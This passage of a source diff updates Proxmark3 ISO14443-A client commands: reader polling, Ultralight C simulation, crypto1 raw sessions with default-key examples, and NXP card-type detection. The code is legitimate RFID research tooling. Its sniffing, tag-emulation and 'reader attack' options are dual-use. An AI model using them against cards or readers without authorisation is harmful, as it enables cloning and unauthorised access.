¶meters; - } - - bool continuous = arg_get_lit(ctx, 7); + bool continuous = arg_get_lit(ctx, 5); + bool wait = arg_get_lit(ctx, 6); CLIParserFree(ctx); + bool found = false; if (disconnectAfter == false) { cm |= ISO14A_NO_DISCONNECT; } @@ -598,12 +684,7 @@ static int CmdHF14AReader(const char *Cmd) { int res = PM3_SUCCESS; do { clearCommandBuffer(); - - if ((cm & ISO14A_USE_CUSTOM_POLLING) == ISO14A_USE_CUSTOM_POLLING) { - SendCommandMIX(CMD_HF_ISO14443A_READER, cm, 0, 0, (uint8_t *)polling_parameters, sizeof(iso14a_polling_parameters_t)); - } else { - SendCommandMIX(CMD_HF_ISO14443A_READER, cm, 0, 0, NULL, 0); - } + SendCommandMIX(CMD_HF_ISO14443A_READER, cm, 0, 0, NULL, 0); if ((cm & ISO14A_CONNECT) == ISO14A_CONNECT) { PacketResponseNG resp; @@ -624,6 +705,8 @@ static int CmdHF14AReader(const char *Cmd) { */ uint64_t select_status = resp.oldarg[0]; + found = (select_status != 0); + if (select_status == 0) { DropField(); res = PM3_ESOFT; @@ -636,7 +719,7 @@ static int CmdHF14AReader(const char *Cmd) { // identify TOPAZ if (card.atqa[1] == 0x0C && card.atqa[0] == 0x00) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf topaz info`")); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`hf topaz info`")); } else { PrintAndLogEx(SUCCESS, "ATQA: %02X %02X", card.atqa[1], card.atqa[0]); } @@ -678,7 +761,7 @@ plot: break; } - } while (continuous); + } while (continuous || (wait && (!found))); if (disconnectAfter == false) { if (silent == false) { @@ -754,9 +837,12 @@ static int CmdHF14ACUIDs(const char *Cmd) { // execute anticollision procedure SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); - PacketResponseNG resp; - WaitForResponse(CMD_ACK, &resp); + + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } iso14a_card_select_t *card = (iso14a_card_select_t *) resp.data.asBytes; @@ -773,7 +859,7 @@ static int CmdHF14ACUIDs(const char *Cmd) { } } PrintAndLogEx(SUCCESS, "end: %" PRIu64 " seconds", (msclock() - t1) / 1000); - return 1; + return PM3_SUCCESS; } // ## simulate iso14443a tag @@ -794,6 +880,7 @@ int CmdHF14ASim(const char *Cmd) { "hf 14a sim -t 10 -> ST25TA IKEA Rothult\n" "hf 14a sim -t 11 -> Javacard (JCOP)\n" "hf 14a sim -t 12 -> 4K Seos card\n" + "hf 14a sim -t 13 -> MIFARE Ultralight C" ); void *argtable[] = { @@ -804,6 +891,8 @@ int CmdHF14ASim(const char *Cmd) { arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader"), arg_lit0(NULL, "sk", "Fill simulator keys from found keys"), arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "c1", "UL-C Auth - all zero handshake part 1"), + arg_lit0(NULL, "c2", "UL-C Auth - all zero handshake part 2"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -818,20 +907,11 @@ int CmdHF14ASim(const char *Cmd) { bool useUIDfromEML = true; if (uid_len > 0) { - switch (uid_len) { - case 10: - flags |= FLAG_10B_UID_IN_DATA; - break; - case 7: - flags |= FLAG_7B_UID_IN_DATA; - break; - case 4: - flags |= FLAG_4B_UID_IN_DATA; - break; - default: - PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); - CLIParserFree(ctx); - return PM3_EINVARG; + FLAG_SET_UID_IN_DATA(flags, uid_len); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); + CLIParserFree(ctx); + return PM3_EINVARG; } PrintAndLogEx(SUCCESS, "Emulating " _YELLOW_("ISO/IEC 14443 type A tag")" with " _GREEN_("%d byte UID (%s)"), uid_len, sprint_hex(uid, uid_len)); useUIDfromEML = false; @@ -846,15 +926,18 @@ int CmdHF14ASim(const char *Cmd) { bool setEmulatorMem = arg_get_lit(ctx, 5); bool verbose = arg_get_lit(ctx, 6); + bool ulc_p1 = arg_get_lit(ctx, 7); + bool ulc_p2 = arg_get_lit(ctx, 8); + CLIParserFree(ctx); - if (tagtype > 12) { + if (tagtype > 13) { PrintAndLogEx(ERR, "Undefined tag %d", tagtype); return PM3_EINVARG; } if (useUIDfromEML) { - flags |= FLAG_UID_IN_EMUL; + FLAG_SET_UID_IN_EMUL(flags); } struct { @@ -862,11 +945,16 @@ int CmdHF14ASim(const char *Cmd) { uint16_t flags; uint8_t uid[10]; uint8_t exitAfter; + uint8_t rats[20]; + bool ulc_p1; + bool ulc_p2; } PACKED payload; payload.tagtype = tagtype; payload.flags = flags; payload.exitAfter = exitAfterNReads; + payload.ulc_p1 = ulc_p1; + payload.ulc_p2 = ulc_p2; memcpy(payload.uid, uid, uid_len); clearCommandBuffer(); @@ -880,14 +968,17 @@ int CmdHF14ASim(const char *Cmd) { bool keypress = kbd_enter_pressed(); while (keypress == false) { - if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == 0) + if (WaitForResponseTimeout(CMD_HF_MIFARE_SIMULATE, &resp, 1500) == false) { continue; + } - if (resp.status != PM3_SUCCESS) + if (resp.status != PM3_SUCCESS) { break; + } - if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) + if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) { break; + } const nonces_t *data = (nonces_t *)resp.data.asBytes; readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose); @@ -900,11 +991,6 @@ int CmdHF14ASim(const char *Cmd) { // inform device to break the sim loop since client has exited SendCommandNG(CMD_BREAK_LOOP, NULL, 0); } - - if (resp.status == PM3_EOPABORTED && ((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK)) { - //iceman: readerAttack call frees k_sector , this call is useless. - showSectorTable(k_sector, k_sectors_cnt); - } } PrintAndLogEx(INFO, "Done!"); @@ -914,7 +1000,7 @@ int CmdHF14ASim(const char *Cmd) { int CmdHF14ASniff(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf 14a sniff", - "Sniff the communication between Hitag reader and tag.\n" + "Sniff the communication between reader and tag\n" "Use `hf 14a list` to view collected data.", " hf 14a sniff -c -r" ); @@ -949,8 +1035,8 @@ int CmdHF14ASniff(const char *Cmd) { PacketResponseNG resp; WaitForResponse(CMD_HF_ISO14443A_SNIFF, &resp); PrintAndLogEx(INFO, "Done!"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf 14a list")"` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf 14a list")"` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); } return PM3_SUCCESS; } @@ -1051,15 +1137,15 @@ int SelectCard14443A_4_WithParameters(bool disconnect, bool verbose, iso14a_card SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); } - if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } // check result if (resp.oldarg[0] == 0) { if (verbose) { - PrintAndLogEx(WARNING, "No ISO1443-A Card in field"); + PrintAndLogEx(WARNING, "No ISO14443-A Card in field"); } return PM3_ECARDEXCHANGE; } @@ -1079,7 +1165,7 @@ int SelectCard14443A_4_WithParameters(bool disconnect, bool verbose, iso14a_card uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, sizeof(rats), 0, rats, sizeof(rats)); if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -1168,77 +1254,85 @@ static int CmdExchangeAPDU(bool chainingin, const uint8_t *datain, int datainlen } } - uint16_t cmdc = 0; - if (chainingin) - cmdc = ISO14A_SEND_CHAINING; + uint16_t cmdc = (ISO14A_APDU | ISO14A_NO_DISCONNECT); + if (chainingin) { + cmdc |= ISO14A_SEND_CHAINING; + } // "Command APDU" length should be 5+255+1, but javacard's APDU buffer might be smaller - 133 bytes // https://stackoverflow.com/questions/32994936/safe-max-java-card-apdu-data-command-and-respond-size // here length PM3_CMD_DATA_SIZE=512 // timeout must be authomatically set by "get ATS" - if (datain) - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_APDU | ISO14A_NO_DISCONNECT | cmdc, (datainlen & 0x1FF), 0, datain, datainlen & 0x1FF); - else - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_APDU | ISO14A_NO_DISCONNECT | cmdc, 0, 0, NULL, 0); + if (datain) { + SendCommandMIX(CMD_HF_ISO14443A_READER, cmdc, (datainlen & 0x1FF), 0, datain, (datainlen & 0x1FF)); + } else { + SendCommandMIX(CMD_HF_ISO14443A_READER, cmdc, 0, 0, NULL, 0); + } PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, timeout)) { - const uint8_t *recv = resp.data.asBytes; - int iLen = resp.oldarg[0]; - uint8_t res = resp.oldarg[1]; - - int dlen = iLen - 2; - if (dlen < 0) - dlen = 0; - *dataoutlen += dlen; - - if (maxdataoutlen && *dataoutlen > maxdataoutlen) { - PrintAndLogEx(DEBUG, "ERR: APDU: Buffer too small(%d), needs %d bytes", *dataoutlen, maxdataoutlen); - return PM3_EAPDU_FAIL; - } - - // I-block ACK - if ((res & 0xF2) == 0xA2) { - *dataoutlen = 0; - *chainingout = true; - return PM3_SUCCESS; - } - - if (!iLen) { - PrintAndLogEx(DEBUG, "ERR: APDU: No APDU response"); - return PM3_EAPDU_FAIL; - } - - // check apdu length - if (iLen < 2 && iLen >= 0) { - PrintAndLogEx(DEBUG, "ERR: APDU: Small APDU response, len %d", iLen); - return PM3_EAPDU_FAIL; - } - - // check block TODO - if (iLen == -2) { - PrintAndLogEx(DEBUG, "ERR: APDU: Block type mismatch"); - return PM3_EAPDU_FAIL; - } - - memcpy(dataout, recv, dlen); - - // chaining - if ((res & 0x10) != 0) { - *chainingout = true; - } - - // CRC Check - if (iLen == -1) { - PrintAndLogEx(DEBUG, "ERR: APDU: ISO 14443A CRC error"); - return PM3_EAPDU_FAIL; - } - } else { + if (WaitForResponseTimeout(CMD_ACK, &resp, timeout) == false) { PrintAndLogEx(DEBUG, "ERR: APDU: Reply timeout"); return PM3_EAPDU_FAIL; } + const uint8_t *recv = resp.data.asBytes; + int iLen = resp.oldarg[0]; + uint8_t res = resp.oldarg[1]; + + int dlen = iLen - 2; + if (dlen < 0) { + dlen = 0; + } + *dataoutlen += dlen; + + if (maxdataoutlen && *dataoutlen > maxdataoutlen) { + PrintAndLogEx(DEBUG, "ERR: APDU: Buffer too small(%d), needs %d bytes", *dataoutlen, maxdataoutlen); + return PM3_EAPDU_FAIL; + } + + // I-block ACK + if ((res & 0xF2) == 0xA2) { + *dataoutlen = 0; + *chainingout = true; + return PM3_SUCCESS; + } + + if (iLen == 0) { + PrintAndLogEx(DEBUG, "ERR: APDU: No APDU response"); + return PM3_EAPDU_FAIL; + } + + // check apdu length + if (iLen < 2 && iLen >= 0) { + PrintAndLogEx(DEBUG, "ERR: APDU: Small APDU response, len %d", iLen); + return PM3_EAPDU_FAIL; + } + + // check block TODO + if (iLen == -2) { + PrintAndLogEx(DEBUG, "ERR: APDU: Block type mismatch"); + return PM3_EAPDU_FAIL; + } + + memcpy(dataout, recv, dlen); + + // chaining + if ((res & 0x10) != 0) { + *chainingout = true; + } + + // CRC Check + if (iLen == -1) { + PrintAndLogEx(DEBUG, "ERR: APDU: ISO 14443A CRC error"); + return PM3_EAPDU_FAIL; + } + + // Button pressed / user cancelled + if (iLen == -3) { + PrintAndLogEx(DEBUG, "\naborted via keyboard!"); + return PM3_EAPDU_FAIL; + } return PM3_SUCCESS; } @@ -1262,18 +1356,18 @@ int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bo *dataoutlen = 0; res = CmdExchangeAPDU(chainBlockNotLast, &datain[clen], vlen, vActivateField, dataout, maxdataoutlen, dataoutlen, &chaining); if (res != PM3_SUCCESS) { - if (leaveSignalON == false) + if (leaveSignalON == false) { DropField(); - + } return 200; } // check R-block ACK // TODO check this one... if ((*dataoutlen == 0) && (chaining != chainBlockNotLast)) { - if (leaveSignalON == false) + if (leaveSignalON == false) { DropField(); - + } return 201; } @@ -1285,6 +1379,7 @@ int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bo } break; } + } while (clen < datainlen); } else { @@ -1365,6 +1460,7 @@ static int CmdHF14AAPDU(const char *Cmd) { CLIParserFree(ctx); return PM3_EINVARG; } + bool extendedAPDU = arg_get_lit(ctx, 6); int le = arg_get_int_def(ctx, 7, 0); @@ -1449,7 +1545,11 @@ static int CmdHF14ACmdRaw(const char *Cmd) { "Sends raw bytes over ISO14443a. With option to use TOPAZ 14a mode.", "hf 14a raw -sc 3000 -> select, crc, where 3000 == 'read block 00'\n" "hf 14a raw -ak -b 7 40 -> send 7 bit byte 0x40\n" - "hf 14a raw --ecp -s -> send ECP before select" + "Crypto1 session example, with special auth shortcut 6xxx:\n" + "hf 14a raw --crypto1 -skc 6000FFFFFFFFFFFF\n" + "hf 14a raw --crypto1 -kc 3000\n" + "hf 14a raw --crypto1 -kc 6007FFFFFFFFFFFF\n" + "hf 14a raw --crypto1 -c 3007" ); void *argtable[] = { @@ -1463,9 +1563,8 @@ static int CmdHF14ACmdRaw(const char *Cmd) { arg_int0("t", "timeout", "", "Timeout in milliseconds"), arg_int0("b", NULL, "", "Number of bits to send. Useful for send partial byte"), arg_lit0("v", "verbose", "Verbose output"), - arg_lit0(NULL, "ecp", "Use enhanced contactless polling"), - arg_lit0(NULL, "mag", "Use Apple magsafe polling"), arg_lit0(NULL, "topaz", "Use Topaz protocol to send command"), + arg_lit0(NULL, "crypto1", "Use crypto1 session"), arg_strx1(NULL, NULL, "", "Raw bytes to send"), arg_param_end }; @@ -1480,13 +1579,12 @@ static int CmdHF14ACmdRaw(const char *Cmd) { uint32_t timeout = (uint32_t)arg_get_int_def(ctx, 7, 0); uint16_t numbits = (uint16_t)arg_get_int_def(ctx, 8, 0); bool verbose = arg_get_lit(ctx, 9); - bool use_ecp = arg_get_lit(ctx, 10); - bool use_magsafe = arg_get_lit(ctx, 11); - bool topazmode = arg_get_lit(ctx, 12); + bool topazmode = arg_get_lit(ctx, 10); + bool crypto1mode = arg_get_lit(ctx, 11); int datalen = 0; uint8_t data[PM3_CMD_DATA_SIZE_MIX] = {0}; - CLIGetHexWithReturn(ctx, 13, data, &datalen); + CLIGetHexWithReturn(ctx, 12, data, &datalen); CLIParserFree(ctx); bool bTimeout = (timeout) ? true : false; @@ -1540,15 +1638,16 @@ static int CmdHF14ACmdRaw(const char *Cmd) { flags |= ISO14A_TOPAZMODE; } - if (no_rats) { - flags |= ISO14A_NO_RATS; + if (crypto1mode) { + flags |= ISO14A_CRYPTO1MODE; + if (numbits > 0 || topazmode) { + PrintAndLogEx(FAILED, "crypto1 mode cannot be used with other modes or partial bytes"); + return PM3_EINVARG; + } } - // TODO: allow to use reader command with both data and polling configuration - if (use_ecp || use_magsafe) { - PrintAndLogEx(WARNING, "ECP and Magsafe not supported with this command at this moment. Instead use 'hf 14a reader -sk --ecp/--mag'"); - // flags |= ISO14A_USE_MAGSAFE; - // flags |= ISO14A_USE_ECP; + if (no_rats) { + flags |= ISO14A_NO_RATS; } // Max buffer is PM3_CMD_DATA_SIZE_MIX @@ -1613,7 +1712,7 @@ static int waitCmd(bool i_select, uint32_t timeout, bool verbose) { } } else { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } return PM3_SUCCESS; @@ -1638,12 +1737,14 @@ static int CmdHF14AAntiFuzz(const char *Cmd) { struct { uint8_t flag; } PACKED param; - param.flag = FLAG_4B_UID_IN_DATA; - - if (arg_get_lit(ctx, 2)) - param.flag = FLAG_7B_UID_IN_DATA; - if (arg_get_lit(ctx, 3)) - param.flag = FLAG_10B_UID_IN_DATA; + param.flag = 0; + FLAG_SET_UID_IN_DATA(param.flag, 4); + if (arg_get_lit(ctx, 2)) { + FLAG_SET_UID_IN_DATA(param.flag, 7); + } + if (arg_get_lit(ctx, 3)) { + FLAG_SET_UID_IN_DATA(param.flag, 10); + } CLIParserFree(ctx); clearCommandBuffer(); @@ -1691,239 +1792,678 @@ static void printTag(const char *tag) { PrintAndLogEx(SUCCESS, " " _YELLOW_("%s"), tag); } -int detect_nxp_card(uint8_t sak, uint16_t atqa, uint64_t select_status) { - +// Based on NXP AN10833 Rev 3.8 and NXP AN10834 Rev 4.2 +int detect_nxp_card(uint8_t sak, uint16_t atqa, uint64_t select_status, + uint8_t ats_hist_len, uint8_t *ats_hist, + bool version_hw_available, version_hw_t *version_hw) { int type = MTNONE; - if ((sak & 0x02) != 0x02) { - if ((sak & 0x19) == 0x19) { - type |= MTCLASSIC; - } else if ((sak & 0x40) == 0x40) { - type |= MTISO18092; - } else if ((sak & 0x38) == 0x38) { - type |= MTCLASSIC; - } else if ((sak & 0x18) == 0x18) { - if (select_status == 1) { - type |= MTPLUS; - } else { - type |= MTCLASSIC; - } - } else if ((sak & 0x09) == 0x09) { - type |= MTMINI; - } else if ((sak & 0x28) == 0x28) { - type |= MTCLASSIC; - } else if ((sak & 0x08) == 0x08) { - if (select_status == 1) { - type |= MTPLUS; - } else { - type |= MTCLASSIC; - } - } else if ((sak & 0x11) == 0x11) { - type |= MTPLUS; - } else if ((sak & 0x10) == 0x10) { - type |= MTPLUS; - } else if ((sak & 0x01) == 0x01) { - type |= MTCLASSIC; - } else if ((sak & 0x24) == 0x24) { - type |= MTDESFIRE; - } else if ((sak & 0x20) == 0x20) { - if (select_status == 1) { - if ((atqa & 0x0040) == 0x0040) { - if ((atqa & 0x0300) == 0x0300) { - type |= MTDESFIRE; - } else { - type |= MTPLUS; - } - } else { + if (version_hw_available) { - if ((atqa & 0x0001) == 0x0001) { - type |= HID_SEOS; - } else { - type |= MTPLUS; - } + switch (version_hw->product_type & 0x0F) { + case 0x1: { + type |= MTDESFIRE; - if ((atqa & 0x0004) == 0x0004) { + // special cases, override major_product_version_str when needed + switch (version_hw->major_product_version) { + case 0x42: type |= MTEMV; + break; + case 0xA0: + type |= MTDUOX; + break; + } + break; + } + case 0x2: { + type |= MTPLUS; + break; + } + case 0x3: { + type |= MTULTRALIGHT; + break; + } + case 0x4: { + type |= MTNTAG; + break; + } + case 0x7: { + type |= MTNTAG; + break; + } + case 0x8: { + type |= MTDESFIRE; + break; + } + case 0x9: { + break; + } + default: { + break; + } + } + + } + + if ((sak & 0x44) == 0x40) { + // ISO18092 Table 15: Target compliant with NFC transport protocol + type |= MTISO18092; + } + + if ((sak & 0x02) == 0x00) { // SAK b2=0 + + if ((sak & 0x08) == 0x08) { // SAK b2=0 b4=1 + + if ((sak & 0x10) == 0x10) { // SAK b2=0 b4=1 b5=1 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=1 b5=1 b1=1, SAK=0x19 + type |= MTCLASSIC; + + } else { // SAK b2=0 b4=1 b5=1 b1=0 + + if ((sak & 0x20) == 0x20) { // SAK b2=0 b4=1 b5=1 b1=0 b6=1, SAK=0x38 + type |= MTCLASSIC; + + } else { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 + + if (select_status == 4) { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 ATS + + if (version_hw_available) { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 ATS GetVersion + type |= MTPLUS; + + } else { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 ATS No_GetVersion + + if (ats_hist_len > 0) { + + if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x2F\x2F", 4) == 0)) { + type |= MTPLUS; + } else { + type |= MTCLASSIC; + } + } + } + + } else { // SAK b2=0 b4=1 b5=1 b1=0 b6=0 no_ATS, SAK=0x18 + type |= MTCLASSIC; + } } } - type |= (MTDESFIRE | MT424); - } - } else if ((sak & 0x04) == 0x04) { - type |= MTDESFIRE; - } else { - type |= MTULTRALIGHT; - } - } else if ((sak & 0x0A) == 0x0A) { - if ((atqa & 0x0003) == 0x0003) { - type |= MTFUDAN; - } else if ((atqa & 0x0005) == 0x0005) { + } else { // SAK b2=0 b4=1 b5=0 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=1 b5=0 b1=1, SAK=0x09 + type |= MTMINI; + + } else { // SAK b2=0 b4=1 b5=0 b1=0 + + if ((sak & 0x20) == 0x20) { // SAK b2=0 b4=1 b5=0 b1=0 b6=1, SAK=0x28 + type |= MTCLASSIC; + + } else { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 + + if (select_status == 4) { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 ATS + + if (version_hw_available) { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 ATS GetVersion + type |= MTPLUS; + + } else { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 ATS No_GetVersion + + if (ats_hist_len > 0) { + + if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x2F\x2F", 4) == 0)) { + type |= MTPLUS; + + } else if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x21\x30", 4) == 0)) { + type |= MTPLUS; + + } else { + type |= MTCLASSIC; + } + } + } + } else { // SAK b2=0 b4=1 b5=0 b1=0 b6=0 no_ATS, SAK=0x08 + type |= MTCLASSIC; + } + } + } + } + + } else { // SAK b2=0 b4=0 + + if ((sak & 0x10) == 0x10) { // SAK b2=0 b4=0 b5=1 + + // if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=0 b5=1 b1=1, SAK=0x11 + // } else { // SAK b2=0 b4=0 b5=1 b1=0, SAK=0x10 + // } + type |= MTPLUS; + + } else { // SAK b2=0 b4=0 b5=0 + + if ((sak & 0x01) == 0x01) { // SAK b2=0 b4=0 b5=0 b1=1 + type |= MTCLASSIC; + + } else { // SAK b2=0 b4=0 b5=0 b1=0 + + if ((sak & 0x20) == 0x20) { // SAK b2=0 b4=0 b5=0 b1=0 b6=1, SAK=0x20 + + if (select_status == 1) { // SAK b2=0 b4=0 b5=0 b1=0 b6=1 ATS + + if (version_hw_available) { // SAK b2=0 b4=0 b5=0 b1=0 b6=1 ATS GetVersion + + if ((version_hw->product_type & 0x7F) == 0x02) { + type |= MTPLUS; + + } else if (((version_hw->product_type & 0x7F) == 0x01) || + (version_hw->product_type == 0x08) || + (version_hw->product_type == 0x91)) { + type |= MTDESFIRE; + + } else if (version_hw->product_type == 0x04) { + type |= (MTDESFIRE | MT424); + } + + } else { // SAK b2=0 b4=0 b5=0 b1=0 b6=1 ATS No GetVersion + + if (ats_hist_len > 0) { + + if ((ats_hist_len == 9) && (memcmp(ats_hist, "\xC1\x05\x2F\x2F", 4) == 0)) { + type |= MTPLUS; + + } else { + + if ((atqa == 0x0001) || (atqa == 0x0004)) { + type |= HID_SEOS; + } + + if (atqa == 0x0004) { + type |= MTEMV; + } + } + } + } + } + + } else { // SAK b2=0 b4=0 b5=0 b1=0 b6=0, SAK=0x00 + + if (version_hw_available == false) { + // SAK b2=0 b4=0 b5=0 b1=0 b6=0 No_GetVersion + int status = mfuc_test_authentication_support(); + if (status == PM3_SUCCESS) { + type |= MTULTRALIGHT_C; + } + } + type |= MTULTRALIGHT; + } + } + } + } + } else { // SAK b2=1 + + if (sak == 0x0A) { + + if (atqa == 0x0003) { + // Uses Shanghai algo + type |= MTFUDAN; + + } else if (atqa == 0x0005) { + type |= MTFUDAN; + } + + } else if (sak == 0x53) { type |= MTFUDAN; } - } else if ((sak & 0x53) == 0x53) { - type |= MTFUDAN; } return type; } - -// Based on NXP AN10833 Rev 3.6 and NXP AN10834 Rev 4.1 -static int detect_nxp_card_print(uint8_t sak, uint16_t atqa, uint64_t select_status) { +// Based on NXP AN10833 Rev 3.8 and NXP AN10834 Rev 4.2 +static int detect_nxp_card_print(uint8_t sak, uint16_t atqa, uint64_t select_status, + uint8_t ats_hist_len, uint8_t *ats_hist, + bool version_hw_available, version_hw_t *version_hw) { int type = MTNONE; + const char *product_type_str = ""; + const char *major_product_version_str = ""; + const char *storage_size_str = ""; - PrintAndLogEx(SUCCESS, "Possible types:"); + if (version_hw_available) { - if ((sak & 0x02) != 0x02) { - if ((sak & 0x19) == 0x19) { - printTag("MIFARE Classic 2K"); - type |= MTCLASSIC; - } else if ((sak & 0x40) == 0x40) { - if ((atqa & 0x0110) == 0x0110) - printTag("P2P Support / Proprietary"); - else - printTag("P2P Support / Android"); - - type |= MTISO18092; - } else if ((sak & 0x38) == 0x38) { - printTag("SmartMX with MIFARE Classic 4K"); - type |= MTCLASSIC; - } else if ((sak & 0x18) == 0x18) { - if (select_status == 1) { - if ((atqa & 0x0040) == 0x0040) { - printTag("MIFARE Plus EV1 4K CL2 in SL1"); - printTag("MIFARE Plus S 4K CL2 in SL1"); - printTag("MIFARE Plus X 4K CL2 in SL1"); - } else { - printTag("MIFARE Plus EV1 4K in SL1"); - printTag("MIFARE Plus S 4K in SL1"); - printTag("MIFARE Plus X 4K in SL1"); + switch (version_hw->product_type & 0x0F) { + case 0x1: { + product_type_str = "MIFARE DESFire"; + // special cases, override product_type_str when needed + if (version_hw->product_type == 0x91) { + product_type_str = "Apple Wallet DESFire Applet"; } - type |= MTPLUS; - } else { - if ((atqa & 0x0040) == 0x0040) { - printTag("MIFARE Classic 4K CL2"); - } else { - printTag("MIFARE Classic 4K"); + // general rule + switch (version_hw->major_product_version & 0x0F) { + case 0x01: + major_product_version_str = "EV1"; + break; + case 0x02: + major_product_version_str = "EV2"; + break; + case 0x03: + major_product_version_str = "EV3"; + break; } - type |= MTCLASSIC; + // special cases, override major_product_version_str when needed + switch (version_hw->major_product_version) { + case 0x00: + major_product_version_str = "MF3ICD40"; + break; + case 0x42: + major_product_version_str = "EV2 + EMV"; + break; + case 0xA0: + product_type_str = "MIFARE DUOX"; + break; + } + break; } - } else if ((sak & 0x09) == 0x09) { - if ((atqa & 0x0040) == 0x0040) { - printTag("MIFARE Mini 0.3K CL2"); - } else { - printTag("MIFARE Mini 0.3K"); - } - - type |= MTMINI; - } else if ((sak & 0x28) == 0x28) { - printTag("SmartMX with MIFARE Classic 1K"); - printTag("FM1208-10 with MIFARE Classic 1K"); - type |= MTCLASSIC; - } else if ((sak & 0x08) == 0x08) { - if (select_status == 1) { - if ((atqa & 0x0040) == 0x0040) { - printTag("MIFARE Plus EV1 2K CL2 in SL1"); - printTag("MIFARE Plus S 2K CL2 in SL1"); - printTag("MIFARE Plus X 2K CL2 in SL1"); - printTag("MIFARE Plus SE 1K CL2"); - } else { - printTag("MIFARE Plus EV1 2K in SL1"); - printTag("MIFARE Plus S 2K in SL1"); - printTag("MIFARE Plus X 2K in SL1"); - printTag("MIFARE Plus SE 1K"); + case 0x2: { + product_type_str = "MIFARE Plus"; + switch (version_hw->major_product_version) { + case 0x11: + major_product_version_str = "EV1"; + break; + case 0x22: + major_product_version_str = "EV2"; + break; + default: + major_product_version_str = "n/a"; } - - type |= MTPLUS; - } else { - if ((atqa & 0x0040) == 0x0040) { - printTag("MIFARE Classic 1K CL2"); - } else { - printTag("MIFARE Classic 1K"); - } - - type |= MTCLASSIC; + break; } - } else if ((sak & 0x11) == 0x11) { - printTag("MIFARE Plus 4K in SL2"); - type |= MTPLUS; - } else if ((sak & 0x10) == 0x10) { - printTag("MIFARE Plus 2K in SL2"); - type |= MTPLUS; - } else if ((sak & 0x01) == 0x01) { - printTag("TNP3xxx (TagNPlay, Activision Game Appliance)"); - type |= MTCLASSIC; - } else if ((sak & 0x24) == 0x24) { - printTag("MIFARE DESFire CL1"); - printTag("MIFARE DESFire EV1 CL1"); - type |= MTDESFIRE; - } else if ((sak & 0x20) == 0x20) { - if (select_status == 1) { - if ((atqa & 0x0040) == 0x0040) { - if ((atqa & 0x0300) == 0x0300) { - printTag("MIFARE DESFire CL2"); - printTag("MIFARE DESFire EV1 256B/2K/4K/8K CL2"); - printTag("MIFARE DESFire EV2 2K/4K/8K/16K/32K"); - printTag("MIFARE DESFire EV3 2K/4K/8K"); - printTag("MIFARE DESFire Light 640B"); - type |= MTDESFIRE; - } else { - printTag("MIFARE Plus EV1 2K/4K CL2 in SL3"); - printTag("MIFARE Plus S 2K/4K CL2 in SL3"); - printTag("MIFARE Plus X 2K/4K CL2 in SL3"); - printTag("MIFARE Plus SE 1K CL2"); - type |= MTPLUS; + case 0x3: { + product_type_str = "MIFARE Ultralight"; + switch (version_hw->major_product_version) { + case 0x01: { + major_product_version_str = "EV1"; + + if (version_hw->storage_size == 0x0B) { + storage_size_str = "48b"; + } else if (version_hw->storage_size == 0x0E) { + storage_size_str = "128b"; + } + break; } + case 0x02: + major_product_version_str = "Nano"; + break; + case 0x04: + major_product_version_str = "AES"; + break; + default: + major_product_version_str = "n/a"; + } + break; + } + case 0x4: { + product_type_str = "NTAG"; + switch 